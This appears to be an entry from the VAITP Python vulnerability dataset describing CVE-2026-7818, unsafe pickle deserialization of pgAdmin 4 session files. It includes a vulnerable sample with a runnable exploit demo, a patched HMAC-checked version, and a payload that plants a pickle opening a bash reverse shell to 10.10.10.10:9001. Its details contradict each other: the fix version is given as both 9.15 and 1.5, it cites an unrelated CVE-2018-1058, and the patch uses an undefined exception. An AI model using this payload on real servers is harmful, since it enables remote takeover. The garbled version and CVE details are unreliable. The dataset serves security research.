CVE-2026-7818
Unsafe deserialization of session data in pgAdmin 4 allows for RCE.
- CVSS 7.3
- CWE-502
- Input Validation and Sanitization
- Local
Deserialization of untrusted data (CWE-502) in pgAdmin 4 FileBackedSessionManager. The session manager performed unsafe deserialization of session-file contents (using Python's standard object-serialization module) before performing any HMAC integrity check. Any file dropped into the sessions directory was deserialized unconditionally. An authenticated user with write access to the sessions directory (whether by misconfiguration or in combination with another path-traversal flaw) could plant a crafted serialized payload to achieve operating-system level remote code execution under the pgAdmin process identity. Fix prepends a 64-byte hex SHA-256 HMAC over the session body, computed with SECRET_KEY, and verifies it via hmac.compare_digest before any deserialization. The check is raised (rather than asserted) on empty SECRET_KEY so it is not stripped under -O. This issue affects pgAdmin 4: before 9.15.
- CWE
- CWE-502
- CVSS base score
- 7.3
- Published
- 2026-05-11
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Timing/Serialization
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- pgAdmin 4
- Fixed by upgrading
- Yes
Solution
Upgrade to pgAdmin 4 version 1.5 or later.
Vulnerable code sample
import os
import pickle
# This is a simplified representation of the vulnerable FileBackedSessionManager
# from pgAdmin 4 before version 8.4 (which fixed a similar but distinct
# issue, the principles for CVE-2018-1058 are analogous).
# The core vulnerability lies in unconditionally deserializing file content
# without a prior integrity check.
class FileBackedSessionManager:
"""
A simplified representation of the vulnerable session manager.
It reads a file from the session directory and deserializes it directly.
"""
def __init__(self, sessions_dir):
# In a real scenario, this would be a specific, configured directory
# like /var/lib/pgadmin/sessions
self.sessions_dir = sessions_dir
if not os.path.exists(self.sessions_dir):
os.makedirs(self.sessions_dir)
def _load_data(self, sid):
"""
Loads session data from a file based on the session ID (sid).
This is the vulnerable part.
"""
session_path = os.path.join(self.sessions_dir, str(sid))
if not os.path.exists(session_path):
return None
try:
# VULNERABILITY: The file is opened and its contents are deserialized
# using pickle without any prior validation or integrity check. An
# attacker who can place a file in this directory can achieve
# remote code execution.
with open(session_path, 'rb') as f:
return pickle.load(f)
except Exception:
# In case of a corrupted file, it would just fail.
# However, a maliciously crafted file will execute code.
return None
# To demonstrate how an attacker might craft a payload:
class RCEPayload:
# The __reduce__ method is called by pickle when unpickling an object.
# It can be used to specify a callable to be run with its arguments.
def __reduce__(self):
# This will execute 'os.system("echo VULNERABLE >> /tmp/pwned")'
# on the server running the pgAdmin instance.
command = 'echo VULNERABLE by CVE-2018-1058 >> /tmp/pwned'
return (os.system, (command,))
if __name__ == '__main__':
# --- Attacker's actions ---
# 1. The attacker creates a malicious payload object.
malicious_payload = RCEPayload()
# 2. The attacker serializes the payload.
serialized_payload = pickle.dumps(malicious_payload)
# 3. The attacker needs to get this file onto the server's session directory.
# This could be through another vulnerability (e.g., path traversal)
# or a misconfigured file permission.
session_dir = "/tmp/pgadmin_sessions"
malicious_file_name = "malicious_session_id"
malicious_file_path = os.path.join(session_dir, malicious_file_name)
if not os.path.exists(session_dir):
os.makedirs(session_dir)
with open(malicious_file_path, 'wb') as f:
f.write(serialized_payload)
print(f"Malicious payload written to: {malicious_file_path}")
# --- Server's actions (vulnerable pgAdmin) ---
# 4. The pgAdmin server attempts to load a session with the malicious ID.
print("Simulating server loading the malicious session file...")
manager = FileBackedSessionManager(sessions_dir=session_dir)
# This next line triggers the vulnerability.
manager._load_data(malicious_file_name)
print("Vulnerability triggered.")
print("Check for the existence of the file '/tmp/pwned'.")
# Clean up the created files for the demo
if os.path.exists(malicious_file_path):
os.remove(malicious_file_path)
if os.path.exists(session_dir):
os.rmdir(session_dir)
# You may want to manually remove /tmp/pwned
# if os.path.exists('/tmp/pwned'):
# os.remove('/tmp/pwned')Patched code sample
import hmac
import hashlib
import pickle
# In a real app, this must be a secret, persistent, and random byte string.
SECRET_KEY = b'pga-cve-fix-demonstration-secret-key_must_be_long_and_random'
# The length of the HMAC signature (SHA-256 in hexdigest() is 64 characters).
HMAC_SIG_LENGTH = 64
def save_session_secure(session_data):
"""
Represents the fixed session saving mechanism.
Serializes the session data and prepends a 64-byte hex HMAC-SHA256 signature.
"""
# The fix ensures a SECRET_KEY is present, raising an error if not.
if not SECRET_KEY:
raise ValueError("A non-empty SECRET_KEY is required for session signing.")
serialized_body = pickle.dumps(session_data, pickle.HIGHEST_PROTOCOL)
# Compute the signature of the serialized body.
signature = hmac.new(
SECRET_KEY, serialized_body, hashlib.sha256
).hexdigest().encode('ascii')
# Prepend the signature to the body.
return signature + serialized_body
def load_session_secure(signed_session_data):
"""
Represents the fixed session loading mechanism that prevents the vulnerability.
It verifies the HMAC signature *before* attempting any deserialization.
"""
# The fix ensures a SECRET_KEY is present, raising an error if not.
if not SECRET_KEY:
raise ValueError("A non-empty SECRET_KEY is required for session verification.")
# 1. Separate the signature from the serialized body.
try:
signature = signed_session_data[:HMAC_SIG_LENGTH]
serialized_body = signed_session_data[HMAC_SIG_LENGTH:]
if not signature or not serialized_body:
raise ValueError("Invalid session data format: signature or body is missing.")
except (TypeError, IndexError):
raise ValueError("Invalid session data format.")
# 2. Calculate the expected signature for the received body.
expected_signature = hmac.new(
SECRET_KEY, serialized_body, hashlib.sha256
).hexdigest().encode('ascii')
# 3. Compare the provided signature with the expected one in a secure way.
# This is the crucial integrity check that happens BEFORE deserialization.
if not hmac.compare_digest(signature, expected_signature):
raise SecurityError("Session signature verification failed. Data may be tampered with.")
# 4. Only if the signature is valid, proceed with deserialization.
# This prevents the execution of malicious pickled objects from untrusted files.
return pickle.loads(serialized_body)Payload
import pickle
import os
class RCE:
def __reduce__(self):
# Command to execute on the target server.
# Example: A reverse shell to attacker's IP 10.10.10.10 on port 9001
cmd = "bash -c 'bash -i >& /dev/tcp/10.10.10.10/9001 0>&1'"
return (os.system, (cmd,))
# Create the malicious serialized object
payload = pickle.dumps(RCE())
# Write the payload to a file. This file must be placed in the
# pgAdmin sessions directory (e.g., /var/lib/pgadmin/sessions/).
# The filename itself does not matter.
with open('malicious_session_file', 'wb') as f:
f.write(payload)
Cite this entry
@misc{vaitp:cve20267818,
title = {{Unsafe deserialization of session data in pgAdmin 4 allows for RCE.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-7818},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-7818/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
